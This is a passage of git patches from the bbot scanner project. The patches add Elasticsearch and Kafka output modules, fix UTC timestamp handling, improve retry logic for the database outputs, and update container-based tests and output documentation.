bbot/test/test_step_1/test_db_models.py | 8 ++++---- bbot/test/test_step_1/test_scan.py | 2 +- bbot/test/test_step_2/module_tests/test_module_json.py | 8 ++++---- bbot/test/test_step_2/module_tests/test_module_splunk.py | 2 +- 6 files changed, 18 insertions(+), 13 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 611711eae8..76802dac81 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1759,7 +1759,12 @@ def event_from_json(j): "context": j.get("discovery_context", None), "dummy": True, } - data = j.get("data_json", j.get("data", None)) + data = j.get("data_json", None) + if data is None: + data = j.get("data", None) + if data is None: + json_pretty = json.dumps(j, indent=2) + raise ValueError(f"data or data_json must be provided. JSON: {json_pretty}") kwargs["data"] = data event = make_event(**kwargs) event_uuid = j.get("uuid", None) diff --git a/bbot/test/test_step_1/test_bbot_fastapi.py b/bbot/test/test_step_1/test_bbot_fastapi.py index add7ad099a..feaf8686da 100644 --- a/bbot/test/test_step_1/test_bbot_fastapi.py +++ b/bbot/test/test_step_1/test_bbot_fastapi.py @@ -28,7 +28,7 @@ def test_bbot_multiprocess(bbot_httpserver): assert len(events) >= 3 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 - assert any(e["data"] == "test@blacklanternsecurity.com" for e in events) + assert any(e.get("data", "") == "test@blacklanternsecurity.com" for e in events) def test_bbot_fastapi(bbot_httpserver): @@ -61,7 +61,7 @@ def test_bbot_fastapi(bbot_httpserver): assert len(events) >= 3 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 - assert any(e["data"] == "test@blacklanternsecurity.com" for e in events) + assert any(e.get("data", "") == "test@blacklanternsecurity.com" for e in events) finally: with suppress(Exception): diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index a8088be4f2..c29cc09a4f 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -18,12 +18,12 @@ def test_pydantic_models(events): utc_now2 = utc_datetime_validator(now2) assert utc_now2.timestamp() == utc_now.timestamp() - assert Event._datetime_fields() == ["inserted_at", "timestamp"] - test_event = Event(**events.ipv4.json()) assert sorted(test_event._indexed_fields()) == [ + "data", "host", "id", + "inserted_at", "module", "parent", "parent_uuid", @@ -40,10 +40,10 @@ def test_pydantic_models(events): event_json = e.json() event_pydantic = Event(**event_json) event_pydantic_dict = event_pydantic.model_dump() - event_reconstituted = BaseEvent.from_json(event_pydantic_dict) + event_reconstituted = BaseEvent.from_json(event_pydantic.model_dump(exclude_none=True)) assert isinstance(event_json["timestamp"], float) assert isinstance(e.timestamp, datetime) - assert isinstance(event_pydantic.timestamp, datetime) + assert isinstance(event_pydantic.timestamp, float) assert not "inserted_at" in event_json assert isinstance(event_pydantic_dict["timestamp"], float) assert isinstance(event_pydantic_dict["inserted_at"], float) diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 0102590461..fbef0ba0e0 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -144,7 +144,7 @@ async def test_python_output_matches_json(bbot_scanner): assert len(events) == 5 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 - assert all(isinstance(e["data"]["status"], str) for e in scan_events) + assert all(isinstance(e["data_json"]["status"], str) for e in scan_events) assert len([e for e in events if e["type"] == "DNS_NAME"]) == 1 assert len([e for e in events if e["type"] == "ORG_STUB"]) == 1 assert len([e for e in events if e["type"] == "IP_ADDRESS"]) == 1 diff --git a/bbot/test/test_step_2/module_tests/test_module_json.py b/bbot/test/test_step_2/module_tests/test_module_json.py index bf79eeb13f..3641574213 100644 --- a/bbot/test/test_step_2/module_tests/test_module_json.py +++ b/bbot/test/test_step_2/module_tests/test_module_json.py @@ -23,13 +23,13 @@ def check(self, module_test, events): assert len(dns_json) == 1 dns_json = dns_json[0] scan = scan_json[0] - assert scan["data"]["name"] == module_test.scan.name - assert scan["data"]["id"] == module_test.scan.id + assert scan["data_json"]["name"] == module_test.scan.name + assert scan["data_json"]["id"] == module_test.scan.id assert scan["id"] == module_test.scan.id assert scan["uuid"] == str(module_test.scan.root_event.uuid) assert scan["parent_uuid"] == str(module_test.scan.root_event.uuid) - assert scan["data"]["target"]["seeds"] == ["blacklanternsecurity.com"] - assert scan["data"]["target"]["whitelist"] == ["blacklanternsecurity.com"] + assert scan["data_json"]["target"]["seeds"] == ["blacklanternsecurity.com"] + assert scan["data_json"]["target"]["whitelist"] == ["blacklanternsecurity.com"] assert dns_json["data"] == dns_data assert dns_json["id"] == str(dns_event.id) assert dns_json["uuid"] == str(dns_event.uuid) diff --git a/bbot/test/test_step_2/module_tests/test_module_splunk.py b/bbot/test/test_step_2/module_tests/test_module_splunk.py index 8366a6289b..a849055d2b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_splunk.py +++ b/bbot/test/test_step_2/module_tests/test_module_splunk.py @@ -23,7 +23,7 @@ def verify_data(self, j): if not j["index"] == "bbot_index": return False data = j["event"] - if not data["data"] == "blacklanternsecurity.com" and data["type"] == "DNS_NAME": + if not data["data_json"] == "blacklanternsecurity.com" and data["type"] == "DNS_NAME": return False return True From c26799470f51b8ce72219a4524644194f52a87f3 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 21:19:07 -0500 Subject: [PATCH 059/912] fix utc bug --- bbot/scanner/scanner.py | 7 ++++--- bbot/test/test_step_1/test_db_models.py | 4 ++-- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 1b66569a44..2602fa776c 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -6,7 +6,8 @@ import regex as re from pathlib import Path from sys import exc_info -from datetime import datetime, UTC +from datetime import datetime +from zoneinfo import ZoneInfo from collections import OrderedDict from bbot import __version__ @@ -327,7 +328,7 @@ async def async_start_without_generator(self): async def async_start(self): """ """ - self.start_time = datetime.now(UTC) + self.start_time = datetime.now(ZoneInfo("UTC")) self.root_event.data["started_at"] = self.start_time.timestamp() try: await self._prep() @@ -436,7 +437,7 @@ async def _mark_finished(self): else: status = "FINISHED" - self.end_time = datetime.now(UTC) + self.end_time = datetime.now(ZoneInfo("UTC")) self.duration = self.end_time - self.start_time self.duration_seconds = self.duration.total_seconds() self.duration_human = self.helpers.human_timedelta(self.duration) diff --git a/bbot/test/test_step_1/test_db_models.py b/bbot/test/test_step_1/test_db_models.py index c29cc09a4f..9c71390696 100644 --- a/bbot/test/test_step_1/test_db_models.py +++ b/bbot/test/test_step_1/test_db_models.py @@ -1,4 +1,4 @@ -from datetime import datetime, UTC +from datetime import datetime from zoneinfo import ZoneInfo from bbot.models.pydantic import Event @@ -13,7 +13,7 @@ def test_pydantic_models(events): now = datetime.now(ZoneInfo("America/New_York")) utc_now = utc_datetime_validator(now) assert now.timestamp() == utc_now.timestamp() - now2 = datetime.fromtimestamp(utc_now.timestamp(), UTC) + now2 = datetime.fromtimestamp(utc_now.timestamp(), ZoneInfo("UTC")) assert now2.timestamp() == utc_now.timestamp() utc_now2 = utc_datetime_validator(now2) assert utc_now2.timestamp() == utc_now.timestamp() From f5e1695687f5f349beeec861af474e528d186cd5 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 01:32:32 -0500 Subject: [PATCH 060/912] fix tests --- bbot/models/helpers.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py index 47959ad4ac..b94bc976cc 100644 --- a/bbot/models/helpers.py +++ b/bbot/models/helpers.py @@ -1,5 +1,5 @@ -from datetime import UTC from datetime import datetime +from zoneinfo import ZoneInfo def utc_datetime_validator(d: datetime) -> datetime: @@ -7,13 +7,13 @@ def utc_datetime_validator(d: datetime) -> datetime: Converts all dates into UTC """ if d.tzinfo is not None: - return d.astimezone(UTC) + return d.astimezone(ZoneInfo("UTC")) else: - return d.replace(tzinfo=UTC) + return d.replace(tzinfo=ZoneInfo("UTC")) def utc_now() -> datetime: - return datetime.now(UTC) + return datetime.now(ZoneInfo("UTC")) def utc_now_timestamp() -> datetime: From 44c8c6f140b5afd8fcfbf8a1702414895ca7e903 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 01:30:39 -0500 Subject: [PATCH 061/912] elastic module --- bbot/modules/output/elastic.py | 22 +++ bbot/modules/output/http.py | 6 +- .../module_tests/test_module_elastic.py | 130 ++++++++++++++++++ docs/scanning/output.md | 25 ++-- 4 files changed, 171 insertions(+), 12 deletions(-) create mode 100644 bbot/modules/output/elastic.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_elastic.py diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py new file mode 100644 index 0000000000..15bc023df8 --- /dev/null +++ b/bbot/modules/output/elastic.py @@ -0,0 +1,22 @@ +from .http import HTTP + + +class Elastic(HTTP): + watched_events = ["*"] + metadata = { + "description": "Send scan results to Elasticsearch", + "created_date": "2022-11-21", + "author": "@TheTechromancer", + } + options = { + "url": "", + "username": "elastic", + "password": "changeme", + "timeout": 10, + } + options_desc = { + "url": "Elastic URL (e.g. https://localhost:9200//_doc)", + "username": "Elastic username", + "password": "Elastic password", + "timeout": "HTTP timeout", + } diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index 7d94148d72..0af65a87d2 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -1,3 +1,4 @@ +from bbot.models.pydantic import Event from bbot.modules.output.base import BaseOutputModule @@ -48,12 +49,15 @@ async def setup(self): async def handle_event(self, event): while 1: + event_json = event.json() + event_pydantic = Event(**event_json) + event_json = event_pydantic.model_dump(exclude_none=True) response = await self.helpers.request( url=self.url, method=self.method, auth=self.auth, headers=self.headers, - json=event.json(), + json=event_json, ) is_success = False if response is None else response.is_success if not is_success: diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py new file mode 100644 index 0000000000..710c22e0f0 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -0,0 +1,130 @@ +import time +import httpx +import asyncio + +from .base import ModuleTestBase + + +class TestElastic(ModuleTestBase): + config_overrides = { + "modules": { + "elastic": { + "url": "https://localhost:9200/bbot_test_events/_doc", + "username": "elastic", + "password": "bbotislife", + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + # Start Elasticsearch container + await asyncio.create_subprocess_exec( + "docker", + "run", + "--name", + "bbot-test-elastic", + "--rm", + "-e", + "ELASTIC_PASSWORD=bbotislife", + "-e", + "cluster.routing.allocation.disk.watermark.low=96%", + "-e", + "cluster.routing.allocation.disk.watermark.high=97%", + "-e", + "cluster.routing.allocation.disk.watermark.flood_stage=98%", + "-p", + "9200:9200", + "-d", + "docker.elastic.co/elasticsearch/elasticsearch:8.16.0", + ) + + # Connect to Elasticsearch with retry logic + async with httpx.AsyncClient(verify=False) as client: + while True: + try: + # Attempt a simple operation to confirm the connection + response = await client.get("https://localhost:9200/_cat/health", auth=("elastic", "bbotislife")) + response.raise_for_status() + break + except Exception as e: + print(f"Connection failed: {e}. Retrying...", flush=True) + time.sleep(0.5) + + # Ensure the index is empty + await client.delete(f"https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife")) + print("Elasticsearch index cleaned up", flush=True) + + async def check(self, module_test, events): + try: + from bbot.models.pydantic import Event + + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Connect to Elasticsearch + async with httpx.AsyncClient(verify=False) as client: + + # refresh the index + await client.post(f"https://localhost:9200/bbot_test_events/_refresh", auth=("elastic", "bbotislife")) + + # Fetch all events from the index + response = await client.get( + f"https://localhost:9200/bbot_test_events/_search?size=100", auth=("elastic", "bbotislife") + ) + response_json = response.json() + import json + + print(f"response: {json.dumps(response_json, indent=2)}") + db_events = [hit["_source"] for hit in response_json["hits"]["hits"]] + + # make sure we have the same number of events + assert len(events_json) == len(db_events) + + for db_event in db_events: + assert isinstance(db_event["timestamp"], float) + assert isinstance(db_event["inserted_at"], float) + + # Convert to Pydantic objects and dump them + db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] + db_events_pydantic.sort(key=lambda x: x["timestamp"]) + + # Find the main event with type DNS_NAME and data blacklanternsecurity.com + main_event = next( + ( + e + for e in db_events_pydantic + if e.get("type") == "DNS_NAME" and e.get("data") == "blacklanternsecurity.com" + ), + None, + ) + assert ( + main_event is not None + ), "Main event with type DNS_NAME and data blacklanternsecurity.com not found" + + # Ensure it has the reverse_host attribute + expected_reverse_host = "blacklanternsecurity.com"[::-1] + assert ( + main_event.get("reverse_host") == expected_reverse_host + ), f"reverse_host attribute is not correct, expected {expected_reverse_host}" + + # Events don't match exactly because the elastic ones have reverse_host and inserted_at + assert events_json != db_events_pydantic + for db_event in db_events_pydantic: + db_event.pop("reverse_host") + db_event.pop("inserted_at") + # They should match after removing reverse_host + assert events_json == db_events_pydantic, "Events do not match" + + finally: + # Clean up: Delete all documents in the index + async with httpx.AsyncClient(verify=False) as client: + response = await client.delete( + f"https://localhost:9200/bbot_test_events", + auth=("elastic", "bbotislife"), + params={"ignore": "400,404"}, + ) + print(f"Deleted documents from index", flush=True) + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-elastic", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) diff --git a/docs/scanning/output.md b/docs/scanning/output.md index dd45a5c833..16cfbd3593 100644 --- a/docs/scanning/output.md +++ b/docs/scanning/output.md @@ -155,15 +155,20 @@ config: ### Elasticsearch -When outputting to Elastic, use the `http` output module with the following settings (replace `` with your desired index, e.g. `bbot`): +- Step 1: Spin up a quick Elasticsearch docker image + +```bash +docker run -d -p 9200:9200 --name=bbot-elastic --v "$(pwd)/elastic_data:/usr/share/elasticsearch/data" -e ELASTIC_PASSWORD=bbotislife -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.16.0 +``` + +- Step 2: Execute a scan with `elastic` output module ```bash # send scan results directly to elasticsearch -bbot -t evilcorp.com -om http -c \ - modules.http.url=http://localhost:8000//_doc \ - modules.http.siem_friendly=true \ - modules.http.username=elastic \ - modules.http.password=changeme +# note: you can replace "bbot_events" with your own index name +bbot -t evilcorp.com -om elastic -c \ + modules.elastic.url=https://localhost:9200/bbot_events/_doc \ + modules.elastic.password=bbotislife ``` Alternatively, via a preset: @@ -171,11 +176,9 @@ Alternatively, via a preset: ```yaml title="elastic_preset.yml" config: modules: - http: - url: http://localhost:8000//_doc - siem_friendly: true - username: elastic - password: changeme + elastic: + url: http://localhost:9200/bbot_events/_doc + password: bbotislife ``` ### Splunk From eb16a35ecbc418530def31663f966daaf4cb193b Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 25 Nov 2024 10:37:42 -0500 Subject: [PATCH 062/912] fixed conflict --- bbot/models/pydantic.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 356ab2e44c..07534937a2 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -93,7 +93,6 @@ def get_data(self): ### SCAN ### - class Scan(BBOTBaseModel): id: Annotated[str, "indexed", "unique"] name: str @@ -117,7 +116,6 @@ def from_scan(cls, scan): ### TARGET ### - class Target(BBOTBaseModel): name: str = "Default Target" strict_scope: bool = False From 2b2cf74bcd228bd8e0ef25cb9216c7e4dc2b58c8 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 25 Nov 2024 10:41:51 -0500 Subject: [PATCH 063/912] fixed conflict --- bbot/models/pydantic.py | 1 - bbot/models/sql.py | 3 --- 2 files changed, 4 deletions(-) diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py index 07534937a2..b7c5baae9b 100644 --- a/bbot/models/pydantic.py +++ b/bbot/models/pydantic.py @@ -50,7 +50,6 @@ def _indexed_fields(cls): ### EVENT ### - class Event(BBOTBaseModel): uuid: Annotated[str, "indexed", "unique"] id: Annotated[str, "indexed"] diff --git a/bbot/models/sql.py b/bbot/models/sql.py index 82ccdb1f6f..78465511f6 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -61,7 +61,6 @@ def __eq__(self, other): ### EVENT ### - class Event(BBOTBaseModel, table=True): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) @@ -106,7 +105,6 @@ def get_data(self): ### SCAN ### - class Scan(BBOTBaseModel, table=True): id: str = Field(primary_key=True) name: str @@ -121,7 +119,6 @@ class Scan(BBOTBaseModel, table=True): ### TARGET ### - class Target(BBOTBaseModel, table=True): name: str = "Default Target" strict_scope: bool = False From 32386e09f23d58eaac2b0f764912bdb0a724812c Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 18:30:05 -0500 Subject: [PATCH 064/912] new module: kafka --- bbot/core/event/base.py | 2 +- bbot/modules/output/elastic.py | 14 ++- bbot/modules/output/kafka.py | 42 +++++++ bbot/scanner/scanner.py | 6 +- .../module_tests/test_module_elastic.py | 9 +- .../module_tests/test_module_kafka.py | 108 ++++++++++++++++++ 6 files changed, 167 insertions(+), 14 deletions(-) create mode 100644 bbot/modules/output/kafka.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_kafka.py diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 76802dac81..05f1a91271 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -814,7 +814,7 @@ def json(self, mode="json"): if parent_uuid: j["parent_uuid"] = parent_uuid # tags - j.update({"tags": list(self.tags)}) + j.update({"tags": sorted(self.tags)}) # parent module if self.module: j.update({"module": str(self.module)}) diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py index 15bc023df8..42c331c516 100644 --- a/bbot/modules/output/elastic.py +++ b/bbot/modules/output/elastic.py @@ -2,6 +2,10 @@ class Elastic(HTTP): + """ + docker run -d -p 9200:9200 --name=bbot-elastic --v "$(pwd)/elastic_data:/usr/share/elasticsearch/data" -e ELASTIC_PASSWORD=bbotislife -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.16.0 + """ + watched_events = ["*"] metadata = { "description": "Send scan results to Elasticsearch", @@ -9,9 +13,9 @@ class Elastic(HTTP): "author": "@TheTechromancer", } options = { - "url": "", + "url": "https://localhost:9200/bbot_events/_doc", "username": "elastic", - "password": "changeme", + "password": "bbotislife", "timeout": 10, } options_desc = { @@ -20,3 +24,9 @@ class Elastic(HTTP): "password": "Elastic password", "timeout": "HTTP timeout", } + + async def cleanup(self): + # refresh the index + doc_regex = self.helpers.re.compile(r"/[^/]+$") + refresh_url = doc_regex.sub("/_refresh", self.url) + await self.helpers.request(refresh_url, auth=self.auth) diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py new file mode 100644 index 0000000000..5b2db13d60 --- /dev/null +++ b/bbot/modules/output/kafka.py @@ -0,0 +1,42 @@ +import json +from aiokafka import AIOKafkaProducer + +from bbot.modules.output.base import BaseOutputModule + + +class Kafka(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a Kafka topic", + "created_date": "2024-11-17", + "author": "@TheTechromancer", + } + options = { + "bootstrap_servers": "localhost:9092", + "topic": "bbot_events", + } + options_desc = { + "bootstrap_servers": "A comma-separated list of Kafka server addresses", + "topic": "The Kafka topic to publish events to", + } + deps_pip = ["aiokafka~=0.12.0"] + + async def setup(self): + self.bootstrap_servers = self.config.get("bootstrap_servers", "localhost:9092") + self.topic = self.config.get("topic", "bbot_events") + self.producer = AIOKafkaProducer(bootstrap_servers=self.bootstrap_servers) + + # Start the producer + await self.producer.start() + self.verbose("Kafka producer started successfully") + return True + + async def handle_event(self, event): + event_json = event.json() + event_data = json.dumps(event_json).encode("utf-8") + await self.producer.send_and_wait(self.topic, event_data) + + async def cleanup(self): + # Stop the producer + await self.producer.stop() + self.verbose("Kafka producer stopped successfully") diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 2602fa776c..8e99f104dd 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -865,15 +865,15 @@ async def _cleanup(self): if not self._cleanedup: self._cleanedup = True self.status = "CLEANING_UP" + # clean up modules + for mod in self.modules.values(): + await mod._cleanup() # clean up dns engine if self.helpers._dns is not None: await self.helpers.dns.shutdown() # clean up web engine if self.helpers._web is not None: await self.helpers.web.shutdown() - # clean up modules - for mod in self.modules.values(): - await mod._cleanup() with contextlib.suppress(Exception): self.home.rmdir() self.helpers.clean_old_scans() diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index 710c22e0f0..2f8891a640 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -48,12 +48,11 @@ async def setup_before_prep(self, module_test): response.raise_for_status() break except Exception as e: - print(f"Connection failed: {e}. Retrying...", flush=True) + self.log.verbose(f"Connection failed: {e}. Retrying...", flush=True) time.sleep(0.5) # Ensure the index is empty await client.delete(f"https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife")) - print("Elasticsearch index cleaned up", flush=True) async def check(self, module_test, events): try: @@ -65,17 +64,11 @@ async def check(self, module_test, events): # Connect to Elasticsearch async with httpx.AsyncClient(verify=False) as client: - # refresh the index - await client.post(f"https://localhost:9200/bbot_test_events/_refresh", auth=("elastic", "bbotislife")) - # Fetch all events from the index response = await client.get( f"https://localhost:9200/bbot_test_events/_search?size=100", auth=("elastic", "bbotislife") ) response_json = response.json() - import json - - print(f"response: {json.dumps(response_json, indent=2)}") db_events = [hit["_source"] for hit in response_json["hits"]["hits"]] # make sure we have the same number of events diff --git a/bbot/test/test_step_2/module_tests/test_module_kafka.py b/bbot/test/test_step_2/module_tests/test_module_kafka.py new file mode 100644 index 0000000000..6a81173561 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_kafka.py @@ -0,0 +1,108 @@ +import json +import asyncio +from contextlib import suppress + +from .base import ModuleTestBase + + +class TestKafka(ModuleTestBase): + config_overrides = { + "modules": { + "kafka": { + "bootstrap_servers": "localhost:9092", + "topic": "bbot_events", + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + # Start Zookeeper + await asyncio.create_subprocess_exec( + "docker", "run", "-d", "--rm", "--name", "bbot-test-zookeeper", "-p", "2181:2181", "zookeeper:3.9" + ) + + # Wait for Zookeeper to be ready + while True: + try: + # Attempt to connect to Zookeeper with a timeout + reader, writer = await asyncio.wait_for(asyncio.open_connection("localhost", 2181), timeout=0.5) + break # Exit the loop if the connection is successful + except Exception as e: + self.log.verbose(f"Waiting for Zookeeper to be ready: {e}") + await asyncio.sleep(0.5) # Wait a bit before retrying + finally: + with suppress(Exception): + writer.close() + await writer.wait_closed() + + # Start Kafka using wurstmeister/kafka + await asyncio.create_subprocess_exec( + "docker", + "run", + "-d", + "--rm", + "--name", + "bbot-test-kafka", + "--link", + "bbot-test-zookeeper:zookeeper", + "-e", + "KAFKA_ZOOKEEPER_CONNECT=zookeeper:2181", + "-e", + "KAFKA_LISTENERS=PLAINTEXT://0.0.0.0:9092", + "-e", + "KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://localhost:9092", + "-e", + "KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR=1", + "-p", + "9092:9092", + "wurstmeister/kafka", + ) + + from aiokafka import AIOKafkaConsumer + + # Wait for Kafka to be ready + while True: + try: + self.consumer = AIOKafkaConsumer( + "bbot_events", + bootstrap_servers="localhost:9092", + group_id="test_group", + ) + await self.consumer.start() + break # Exit the loop if the consumer starts successfully + except Exception as e: + self.log.verbose(f"Waiting for Kafka to be ready: {e}") + if hasattr(self, "consumer") and not self.consumer._closed: + await self.consumer.stop() + await asyncio.sleep(0.5) # Wait a bit before retrying + + async def check(self, module_test, events): + try: + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Collect events from Kafka + kafka_events = [] + async for msg in self.consumer: + event_data = json.loads(msg.value.decode("utf-8")) + kafka_events.append(event_data) + if len(kafka_events) >= len(events_json): + break + + kafka_events.sort(key=lambda x: x["timestamp"]) + + # Verify the events match + assert events_json == kafka_events, "Events do not match" + + finally: + # Clean up: Stop the Kafka consumer + if hasattr(self, "consumer") and not self.consumer._closed: + await self.consumer.stop() + # Stop Kafka and Zookeeper containers + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-kafka", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-zookeeper", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) From 2f1cf400f41a4f9367371edb08373de9827ca215 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 18:56:45 -0500 Subject: [PATCH 065/912] fix elastic tests --- bbot/test/test_step_2/module_tests/test_module_elastic.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index 2f8891a640..db9f2359f7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -48,7 +48,7 @@ async def setup_before_prep(self, module_test): response.raise_for_status() break except Exception as e: - self.log.verbose(f"Connection failed: {e}. Retrying...", flush=True) + self.log.verbose(f"Connection failed: {e}. Retrying...") time.sleep(0.5) # Ensure the index is empty @@ -117,7 +117,7 @@ async def check(self, module_test, events): auth=("elastic", "bbotislife"), params={"ignore": "400,404"}, ) - print(f"Deleted documents from index", flush=True) + self.log.verbose(f"Deleted documents from index") await asyncio.create_subprocess_exec( "docker", "stop", "bbot-test-elastic", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) From baa58ad50b9de0732b491cb5df94f89b5d08ae1b Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 19:54:29 -0500 Subject: [PATCH 066/912] better error handling in module --- bbot/modules/output/kafka.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py index 5b2db13d60..0c28075450 100644 --- a/bbot/modules/output/kafka.py +++ b/bbot/modules/output/kafka.py @@ -34,7 +34,12 @@ async def setup(self): async def handle_event(self, event): event_json = event.json() event_data = json.dumps(event_json).encode("utf-8") - await self.producer.send_and_wait(self.topic, event_data) + while 1: + try: + await self.producer.send_and_wait(self.topic, event_data) + except Exception as e: + self.warning(f"Error sending event to Kafka: {e}, retrying...") + await self.helpers.sleep(1) async def cleanup(self): # Stop the producer From e757636c9953fb62a350a07f9f5186a5b34bccc5 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 19:54:39 -0500 Subject: [PATCH 067/912] better error handling in module --- bbot/modules/output/kafka.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py index 0c28075450..0a31e0be12 100644 --- a/bbot/modules/output/kafka.py +++ b/bbot/modules/output/kafka.py @@ -37,6 +37,7 @@ async def handle_event(self, event): while 1: try: await self.producer.send_and_wait(self.topic, event_data) + break except Exception as e: self.warning(f"Error sending event to Kafka: {e}, retrying...") await self.helpers.sleep(1) From 260e9cacdd3edfd1b9be3ae98079de1d7f456bbf Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 19:58:06 -0500 Subject: [PATCH 068/912] better mongo error handling --- bbot/modules/output/mongo.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 6ad16620f6..118ca82378 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -59,7 +59,13 @@ async def setup(self): async def handle_event(self, event): event_json = event.json() event_pydantic = Event(**event_json) - await self.events_collection.insert_one(event_pydantic.model_dump()) + while 1: + try: + await self.events_collection.insert_one(event_pydantic.model_dump()) + break + except Exception as e: + self.warning(f"Error inserting event into MongoDB: {e}, retrying...") + await self.helpers.sleep(1) if event.type == "SCAN": scan_json = Scan(**event.data_json).model_dump() From 9823dee95c28e6e10c6df141d92569de97939bf5 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 25 Nov 2024 11:06:47 -0500 Subject: [PATCH 069/912] fix sql tests --- bbot/test/test_step_2/module_tests/test_module_mysql.py | 2 +- bbot/test/test_step_2/module_tests/test_module_postgres.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_mysql.py b/bbot/test/test_step_2/module_tests/test_module_mysql.py index 709b3ca287..de30c58f9f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mysql.py +++ b/bbot/test/test_step_2/module_tests/test_module_mysql.py @@ -28,7 +28,7 @@ async def setup_before_prep(self, module_test): stdout, stderr = await process.communicate() # wait for the container to start - await self.wait_for_port(3306) + await self.wait_for_port_open(3306) if process.returncode != 0: self.log.error(f"Failed to start MySQL server: {stderr.decode()}") diff --git a/bbot/test/test_step_2/module_tests/test_module_postgres.py b/bbot/test/test_step_2/module_tests/test_module_postgres.py index c1d7b102cb..8c52eabebe 100644 --- a/bbot/test/test_step_2/module_tests/test_module_postgres.py +++ b/bbot/test/test_step_2/module_tests/test_module_postgres.py @@ -25,7 +25,7 @@ async def setup_before_prep(self, module_test): ) # wait for the container to 